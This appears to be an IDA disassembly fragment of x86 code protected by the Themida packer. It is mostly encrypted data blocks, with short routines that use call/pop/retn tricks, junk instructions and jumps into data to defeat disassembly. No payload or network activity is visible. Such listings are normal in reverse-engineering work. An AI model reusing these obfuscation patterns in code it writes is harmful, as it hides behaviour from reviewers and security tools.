		dd 5613F33Dh, 19BF662Ah, 9DB52B53h, 8D06140Bh, 17A7789Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0FF0C9122h, 0E1B58BD3h, 0FF06140Dh, 142DED85h
		dd 0F08B6606h, 83CE9h, 0E800h, 815D0000h, 17D77EEDh, 7DB53106h
		dd 81061431h, 142C05BDh, 7D006h, 6C860F00h, 0F000001h
		dd 58Ah, 0BC5FBE00h, 9D8B5F75h,	61420ADh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 47C35545h, 18B5A0FBh
		dd 60515268h, 14E9h, 336B0000h,	2D30EFDAh, 7A183783h, 2E0315FBh
		dd 15CF39A9h, 0C58D03EFh, 6106141Eh, 0AB9FBF5Fh, 0E381375Eh
		dd 100h, 0FDB0BF5h, 7685h, 5E565200h, 0F9BD835Fh, 617D5h
		dd 2A840Fh, 0BF0F0000h,	83E9FAh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0B58B46C3h
		dd 61411D1h, 0D5F985C7h, 10617h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0B58B7EC3h
		dd 6140435h, 30E9h, 0F78A6000h,	40BADF81h, 0C7610950h
		dd 17D5F985h, 6, 0FB10BE00h, 8F0F619Fh,	11h, 0CE9h, 0B372F700h
		dd 54E26B01h, 0CADD65DCh, 0AD9D8D6Fh, 6A061420h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0AC96C352h, 85422482h, 13E9FFh, 4EA10000h, 74BFBC0Bh
		dd 5716BF8Eh, 5E7D54C9h, 7C7AFB31h, 0FF2381B4h,	6AFFFFFEh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 40E0C351h, 66522E0Ah, 0BD8BDB8Ch,	6142F9Dh
		dd 0F04C3F6h, 5184h, 0C800F00h,	0F000000h, 68Ch, 0CD8D8900h
		dd 0FF06140Ch, 14121195h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0C885156Dh
		dd 0BD8B471Ch, 61434A5h, 28C0F50h, 8B000000h, 240489F7h
		dd 1CB1BD89h, 2BE90614h, 0B0000004h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 5557428Eh
		dd 0ADD477E0h, 0BD8B6ED1h, 6140311h, 8D0F70E6h,	15h, 8E0F60h
		dd 0E9000000h, 8, 91B20CCCh, 40CAC4FCh,	6A71E461h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 918CC355h, 2BA19D89h, 0BF600614h, 5D284F8Dh,	0F78B6660h
		dd 6161C18Ah, 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0A63FC353h,	407E56FFh
		dd 6880FF8h, 31000000h,	14088DB5h, 6BA06h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 638379C3h, 459362E1h, 0BE9C38Bh, 7B000000h, 3ADAB403h
		dd 0CEB371AEh, 0E8C12114h, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0CA262E56h
		dd 0A72E599Ah, 12D99531h, 0F7660614h, 0EB5CBEE2h, 0D82B1AC9h
		dd 890F93F8h, 0
; ---------------------------------------------------------------------------
		push	eax
		xchg	eax, ebx
		push	dword ptr [ebp+6142C05h]
		mov	di, 47BFh
		call	dword ptr [ebp+6142971h]
		push	0
		push	eax
		call	sub_5BB64D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB64D	proc near		; CODE XREF: Themida_:005BB645p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5BB64D	endp

; ---------------------------------------------------------------------------
		db 36h,	10h, 0E8h
		dd 11h,	0D916F994h, 4BEECFACh, 202C3D05h, 23C01AAh, 53605F46h
		dd 34A58D23h, 8B590614h, 0B061F7h, 1121BD89h, 0B58B0614h
		dd 61423F5h, 816670E6h,	2975ABCFh, 140C099Dh, 0E971E406h
		dd 9, 8AE092C6h, 3AAD1F1Dh, 0F613CA7h, 28183h, 21B58B00h
		dd 0F061426h, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 956A94C3h, 0B16548ADh, 7E901h, 31B30000h
		dd 9ECFDC36h, 6BA4Ah, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0A9F5BBC3h, 14850FD6h
		dd 0E8000000h, 0Dh, 0CD60C30h, 0D0E3AEBCh, 80FE38BFh, 815FF8E3h
		dd 420606CFh, 0C1C38B59h, 6A04E8h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 13793AC3h, 0E849B274h
		dd 0BFD4827Ch, 0FB59066h, 6AE2F766h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0DCEBC350h
		dd 8D89A752h, 6141359h,	0B523D82Bh, 61401C9h, 50006A58h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0EBA4F09Dh, 4F14DC55h, 0FD82B88h, 17988h, 2FD68100h
		dd 0B94C9522h, 7, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	72C35141h, 0C183F8EFh, 0CD9D2900h, 60061416h, 16810Fh
		dd 11E90000h, 63000000h, 17CF4B48h, 0F687D890h,	1D5A7E10h
		dd 3C70C6Fh, 0CAE1CE81h, 3B61031Eh, 1B860FD9h, 66000001h
		dd 66102CBFh, 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 9B0E9C3h, 0CDDE0305h, 0C1F6AB4Fh
		dd 0DF840F04h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0D16BC357h,	0FF5A723Ch
		dd 14121195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 5267489Fh, 6448D630h, 8D29B1E8h
		dd 6143151h, 21DBD8Bh, 6A5B0614h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 2685C355h
		dd 0D1015957h, 0B3A39FAh, 0D8D31h, 0C32B0614h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 74C35646h, 21E98FCCh
		dd 898D8975h, 8B061410h, 140495B5h, 8343D06h, 860F0000h
		dd 22h,	12E9h, 0B1E3C00h, 0C8A63E6Ch, 0D9C003E7h, 0F21421A6h
		dd 0E9E04731h, 0Eh, 1EA5BD89h, 0C08B0614h, 1025BD23h, 0C38B0614h
		dd 6AD88Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 647D8AC3h, 0BEB596CFh, 0C7FAB70Fh, 141C6985h
		dd 0B457DB06h, 0A1B50B13h, 8B061408h, 57006AC0h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 2DB2D020h, 6820FBDh,	89000000h, 1417D5B5h, 5BD8106h
		dd 0D006142Ch, 0F000007h, 3185h, 71B58B00h, 0FF061408h
		dd 142C0585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0A3494FBBh, 0B2E80F7Ch, 0B5FF8595h
		dd 6142C05h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	8FC35646h, 2ED7E70Ch, 4DB53395h, 0F061413h, 68Fh
		dd 0ADBD8900h, 0FF061416h, 14297195h, 90F28B06h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0FCC35040h, 5054B0DEh
		dd 2DCCBE66h, 0D830Fh, 8E90000h, 84000000h, 796D2728h
		dd 5E5D56ECh, 2C1D8D89h, 95890614h, 6140985h, 81F98B66h
		dd 0D2D99AC6h, 9B5015Bh, 89061413h, 140771B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0CF417438h, 8166F82Dh, 6A640FCEh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0B19FC351h
		dd 0BF30DDBBh, 3CC21D2Bh, 1F799D89h, 0BF660614h, 8B665EDEh
		dd 1DBD8BF1h, 306142Ah,	1404B5BDh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 168A4BC5h
		dd 68F0Fh, 0BD890000h, 6141EC5h, 1F850Fh, 14E90000h, 9E000000h
		dd 0EC6C017Ah, 448AE17Bh, 4DDE831Eh, 38202A1Eh,	81F10179h
		dd 68CE28C7h, 0BDBD8B18h, 0E9061430h, 0FFFFF7DDh, 18D8953h
		dd 8B06142Bh, 142061B5h, 81665E06h, 3119F0D7h, 1411959Dh
		dd 8BC18B06h, 4EBF2h, 8B000000h, 1425F1BDh, 91858D06h
		dd 6A061407h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 786CC353h, 4D88FDFCh, 90F08B66h
		dd 10E8h, 7E075E00h, 821F0C87h,	5C9614E5h, 82A628FDh, 7E86066h
		dd 9D000000h, 0ECD77548h, 52590234h, 505F615Ah,	8B665250h
		dd 0BF310FF3h, 7CE6742Ch, 8B90585Ah, 1420A1BDh,	31006A06h
		dd 140F49BDh, 8D006A06h, 17E17885h, 5C08306h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0EDC35747h, 89EEC172h
		dd 141B5D85h, 0C800F06h, 0F000000h, 682h, 0BFC68100h, 900BDF73h
		dd 13E8h, 84A11400h, 0E873B2C6h, 42AA63F6h, 289700DBh
		dd 3453160h, 5FF28B66h,	810F9050h, 8, 28E0Fh, 0F18B0000h
		dd 0B58B006Ah, 6140CA9h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0F6F199C3h, 0BD8BBC4Ah
		dd 6141F89h, 2BA1B523h,	95FF0614h, 6141B19h, 12E9h, 3363B500h
		dd 0E5847EB2h, 0FDD74CE6h, 9EB293A1h, 8D0183F7h, 17A7789Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0E9FCC511h, 5, 0C1385824h, 6AD3FF74h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0DC5FC357h, 8933B286h, 141CDDBDh, 0ED85FF06h, 6A06142Dh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0B3DEC356h, 555A46ADh, 805A23F5h,	861E9h
		dd 0E800h, 815D0000h, 17E182EDh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 2ACD7B98h
		dd 14D7DBDh, 1403F19Dh,	5BD8106h, 0D006142Ch, 0F000007h
		dd 16D86h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 850DDEC3h, 0CC6A15B0h, 9D8B5F57h
		dd 6140C5Dh, 6830Fh, 800F0000h,	0
; ---------------------------------------------------------------------------
		and	ebx, 100h
		jmp	loc_5BBDB1
; ---------------------------------------------------------------------------
		db 65h
		dd 5FA83A84h, 68E1A926h, 0AC26B8F5h, 317D19F2h
; ---------------------------------------------------------------------------
		pop	eax


loc_5BBDB1:				; CODE XREF: Themida_:005BBD9Aj
		or	ebx, ebx
		jnz	loc_5BBE60
		cmp	dword ptr [ebp+617DFBBh], 0
		jz	loc_5BBDF2
		push	0
		push	esi
		call	sub_5BBDD1
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBDD1	proc near		; CODE XREF: Themida_:005BBDC9p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5BBDD1	endp

; ---------------------------------------------------------------------------
		db 0FDh, 56h, 0ECh
; ---------------------------------------------------------------------------
		mov	edi, [ebp+6140F6Dh]
		mov	esi, ebx
		jmp	loc_5BBE96
; ---------------------------------------------------------------------------
		stc


loc_5BBDF2:				; CODE XREF: Themida_:005BBDC0j
		mov	dword ptr [ebp+617DFBBh], 1
		push	0
		push	edx
		call	sub_5BBE07
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBE07	proc near		; CODE XREF: Themida_:005BBDFFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5BBE07	endp

; ---------------------------------------------------------------------------
		db 0DEh
		dd 85094584h, 6142AF1h,	9E8h, 94C55600h, 860D9980h, 0E95FBAC1h
		dd 62h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h
		dd 0BCC35545h, 6A1A0AC4h, 2341B58Bh, 0BD8B0614h, 6140AB5h
; ---------------------------------------------------------------------------


loc_5BBE60:				; CODE XREF: Themida_:005BBDB3j
		mov	dword ptr [ebp+617DFBBh], 0
		push	0
		push	eax
		call	sub_5BBE75
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBE75	proc near		; CODE XREF: Themida_:005BBE6Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5BBE75	endp

; ---------------------------------------------------------------------------
		fst	st
		test	eax, 467D8C7Bh
		sub	bh, al
		dec	esp
		pusha
		mov	bx, dx
		push	eax
		pop	edi
		popa


loc_5BBE96:				; CODE XREF: Themida_:005BBDECj
		lea	ebx, [ebp+6140C5Dh]
		push	0
		push	ebp
		call	sub_5BBEA7
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBEA7	proc near		; CODE XREF: Themida_:005BBE9Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5BBEA7	endp

; ---------------------------------------------------------------------------
		db 77h
		dd 930E5EF0h, 238194D1h, 0FFFFFEFFh, 0DD9BD8Bh,	8C660614h
		dd 0FAB70FDBh, 0F04C3F6h, 8984h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0E38BB472h
		dd 6655CB5Fh, 9589F18Bh, 6140A4Dh, 419D2950h, 5F06142Ch
		dd 121195FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0DCF92AC3h, 0AE9D8h, 93250000h
		dd 83B7CDB6h, 46A57C41h, 0AE990h, 0AC90000h, 5AB7DE6Dh
		dd 1300772Ch, 8E0F5050h, 2, 905F5F56h, 12A5B589h, 0D0E90614h
		dd 6A000003h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 728BC350h, 0CE0582FFh,	0BE00B0F5h
		dd 8C74E5Fh, 6A70E6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0F281CC3h, 0E9830D44h, 0Eh, 22C6F436h
		dd 0EB0BDBEBh, 0CF511E22h, 0BD8BBE3Dh, 6142B11h, 8D8971E4h
		dd 6141235h, 9D8B60Fh, 140D0585h, 6BA06h, 0BD8B0000h, 6142019h
		dd 9D89C38Bh, 61417D1h,	0F04E8C1h, 186h, 0F766F500h, 499589E2h
		dd 2B06141Ah, 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0D0A59EF0h, 0F935CC1h, 1184h, 0BE525000h
		dd 12F3AB12h, 8D0F310Fh, 0
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		push	eax
		xchg	eax, ebx
		push	dword ptr [ebp+6142C05h]
		push	0
		push	ebp
		call	sub_5BC051
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC051	proc near		; CODE XREF: Themida_:005BC049p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5BC051	endp

; ---------------------------------------------------------------------------
		db 0E6h, 68h, 0E9h
		dd 0Ch,	57B222F7h, 0A5EE4105h, 0FBA3FA0h, 297195FFh, 8B500614h
		dd 0B05EF7h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	16C35242h, 7028C75Bh, 3E0C9897h, 6860FC6h, 0B000000h
		dd 140A69B5h, 6A70E606h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0CC3CC355h,	71E4F1F7h
		dd 2DA9B509h, 6E80614h,	0C3000000h, 0C4EB95E0h,	613C5F0Bh
		dd 249830Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 3EAEDC3h, 603BB5D5h, 0E8C3B4CAh
		dd 13h,	0B4F00D8Bh, 5BEBA2B1h, 0CFD8485Ah, 1162BFBAh, 89F18902h
		dd 14180DBDh, 0B60F5F06h, 39B58BD8h, 0BA06142Ah, 6, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 54C35242h, 0C38BC1E8h
		dd 0EE9h, 0F2E2D100h, 56FDEABFh, 0A836A5ECh, 0C11B69EBh
		dd 6E904E8h, 60000000h,	76675CC0h, 0E2F76662h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C7C35343h, 0BE2BBEAAh
		dd 306CEB9Ch, 6AD82Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0A595D2C3h, 0BF589705h, 41BCDF7Bh
		dd 880FD82Bh, 15Fh, 0BD19D89h, 7B90614h, 89000000h, 141B0195h
		dd 0C18306h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	6DC35040h, 0B1852909h, 3B06142Fh, 20860FD9h, 6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0FFF7C356h, 0F5C19BB1h, 0D98C66F7h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 7FC35747h, 0FF0B7F88h
		dd 6E865h, 0CA030000h, 0F0EDE555h, 2B41BD8Bh, 0F5F0614h
		dd 683h, 19D8900h, 0F606142Bh, 840F04C1h, 0ABh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0A6C35242h, 37FB4C4Ah
		dd 4F92CF20h, 0E5F78166h, 1195FFE4h, 89061412h,	1425E995h
		dd 6A5B06h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0C32BBAC3h, 11C19589h, 8D290614h,	6142545h
		dd 8343Dh, 40860F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 43F6C355h, 25E9DEh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 8BB5C0C3h, 99BD8BC0h, 8B061409h, 6AD88BC3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 8C46C356h, 7F7BB25Eh, 85C77D44h, 61420ADh
		dd 5E1E9513h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 16h,	0DBC35141h, 0BD8BB412h,	6140765h, 6AC08Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 5B9EEEC3h, 38B0Fh, 8B660000h, 5BD81F8h, 0D006142Ch
		dd 0F000007h, 3D85h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 8A07EA89h, 73E43F8Ah
		dd 9D89705Ah, 6141E89h,	8A18589h, 85FF0614h, 6142C05h
		dd 1A0DBD8Bh, 0B5FF0614h, 6142C05h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 66C35343h, 5D66A23Ah, 663790FCh
		dd 0FF36E9BEh, 14297195h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0BD8B389Eh
		dd 6140CCDh, 15D5B58Bh,	6A900614h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 8B73C357h
		dd 774FC930h, 8B56F02Dh, 140B49B5h, 11BD8906h, 5F061420h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 85C35141h
		dd 0F7B70F1Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	47C35646h, 33810964h, 0EABA0008h, 0C810FAAh, 0E9000000h
		dd 7, 0C6B52EB7h, 0F989FAC1h, 865B589h,	6A0614h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 8A339BC3h, 0F93B9E4Eh, 68E0Fh, 0B58B0000h, 614118Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 84C35040h
		dd 0D5A6953Dh, 0B52B967Ah, 6142E61h, 6BB1BF66h,	6AFEBF0Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 9B9FC357h, 14486627h, 8B1EE8CBh, 140F49BDh
		dd 0F79FE906h, 0C18BFFFFh, 31199D01h, 4EB0614h,	0
; ---------------------------------------------------------------------------
		push	esi
		pusha
		mov	si, ax
		popa
		pop	edi
		mov	si, di
		lea	eax, [ebp+6140791h]
		sub	[ebp+61434B1h],	edi
		push	eax
		mov	di, 0B2Bh
		mov	[esp], eax
		jmp	loc_5BC5B9
; ---------------------------------------------------------------------------
		db 9Dh
		dd 6BDD0CCDh, 560EAB3Eh, 5A68503Fh
		db 67h
; ---------------------------------------------------------------------------


loc_5BC5B9:				; CODE XREF: Themida_:005BC5A6j
		push	0
		mov	si, 0B6C5h
		push	0
		jo	loc_5BC5CD
		mov	edi, [ebp+6140779h]


loc_5BC5CD:				; CODE XREF: Themida_:005BC5C1j
		lea	eax, [ebp+617EB6Ah]
		call	sub_5BC5E8
		mov	dh, 35h
		or	al, 0A5h
		push	ss
		cmp	eax, 3F65967Fh
		jmp	near ptr 0C4A56CD8h
; ---------------------------------------------------------------------------
		inc	ecx

; =============== S U B	R O U T	I N E =======================================



sub_5BC5E8	proc near		; CODE XREF: Themida_:005BC5D3p
		pusha
		mov	bh, 0C4h
		ja	$+6
		popa
		pop	edi
		add	eax, 5
		push	0
		push	ecx
		call	sub_5BC601
		and	[ecx-3Dh], bl
sub_5BC5E8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5BC601	proc near		; CODE XREF: sub_5BC5E8+11p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5BC601	endp

; ---------------------------------------------------------------------------
		db 61h,	0D7h, 38h
		dd 71A32C26h, 6690FB8Bh, 9050F08Bh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0EAC35646h,	379F9034h, 84A2C781h
		dd 6A08C0h, 699BD09h, 6A0614h, 1B1995FFh, 6A0614h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 7F4226C3h, 0CDC5F905h, 10E84B44h, 0A9000000h, 0F30E7E5Ch
		dd 0C0709BBAh, 0EA66694Ch, 0F103E4Eh, 28Eh, 5FF38B00h
		dd 0A7789D8Dh, 27BE0617h, 0FF1F0BFCh, 55006AD3h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 0FC2648D8h, 0EE813F93h, 271D6FC2h, 10E9h, 0E27EE800h
		dd 1CFFAC69h, 0BF4A0BECh, 0CE44BAF2h, 0ED85FFA7h, 6A06142Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0DE6BC352h, 8E9F765h, 0E8000008h,	0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 617EB74h
		push	0
		push	ebx
		call	sub_5BC722
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC722	proc near		; CODE XREF: Themida_:005BC71Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5BC722	endp

; ---------------------------------------------------------------------------
		dw 0F764h
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+6142C05h], 7D0h
		jbe	loc_5BC8D0
		push	eax
		mov	[ebp+61406E5h],	edi
		pop	esi
		mov	ebx, [ebp+61417D9h]
		mov	edi, [ebp+61401BDh]
		and	ebx, 100h
		movsx	edi, bx
		or	ebx, ebx
		jnz	loc_5BC844
		push	0
		push	esi
		call	sub_5BC774
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC774	proc near		; CODE XREF: Themida_:005BC76Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5BC774	endp

; ---------------------------------------------------------------------------
		mov	dl, 50h
		pop	esi
		pusha
		jmp	loc_5BC796
; ---------------------------------------------------------------------------
		db 0FDh, 0E0h, 4Fh
		dd 97F1E8A4h
		db 0E3h, 0Bh
; ---------------------------------------------------------------------------


loc_5BC796:				; CODE XREF: Themida_:005BC788j
		or	esi, [ebp+6142A15h]
		popa
		cmp	dword ptr [ebp+617E9E8h], 0
		jz	loc_5BC7EA
		mov	esi, [ebp+61409C5h]
		jmp	loc_5BC874
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5BC7C0
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC7C0	proc near		; CODE XREF: Themida_:005BC7B8p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5BC7C0	endp

; ---------------------------------------------------------------------------
		dd 0AF9BA7CFh, 86F5F6D2h, 0BD2980F9h, 6142D49h,	5E9h, 8B626900h
; ---------------------------------------------------------------------------
		add	[ebx], edx


loc_5BC7EA:				; CODE XREF: Themida_:005BC7A4j
		mov	dword ptr [ebp+617E9E8h], 1
		push	0
		push	edi
		call	sub_5BC7FF
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC7FF	proc near		; CODE XREF: Themida_:005BC7F7p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5BC7FF	endp

; ---------------------------------------------------------------------------
		db 75h
; ---------------------------------------------------------------------------
		xchg	bh, [ecx+57h]
		xor	cl, [ebx+eax*2-54h]
		jmp	loc_5BC874
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5BC827
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC827	proc near		; CODE XREF: Themida_:005BC81Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5BC827	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		and	dword ptr ds:6E654F07h,	899B533h
		adc	al, 6


loc_5BC844:				; CODE XREF: Themida_:005BC763j
		mov	dword ptr [ebp+617E9E8h], 0
		push	0
		push	edi
		call	sub_5BC859
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC859	proc near		; CODE XREF: Themida_:005BC851p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5BC859	endp

; ---------------------------------------------------------------------------
		db 74h,	0ABh, 5Ch
; ---------------------------------------------------------------------------
		pusha
		and	eax, 435B529h
		adc	al, 6


loc_5BC874:				; CODE XREF: Themida_:005BC7B0j
					; Themida_:005BC817j
		lea	ebx, [ebp+61417D9h]
		push	0
		push	ecx
		call	sub_5BC885
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC885	proc near		; CODE XREF: Themida_:005BC87Dp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5BC885	endp

; ---------------------------------------------------------------------------
		db 0C8h, 6, 0E0h
		dd 0FB8E78FEh, 0FF2381D9h, 6AFFFFFEh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 206BC351h
		dd 2ACA5673h, 5D8589h, 85090614h, 6141A25h
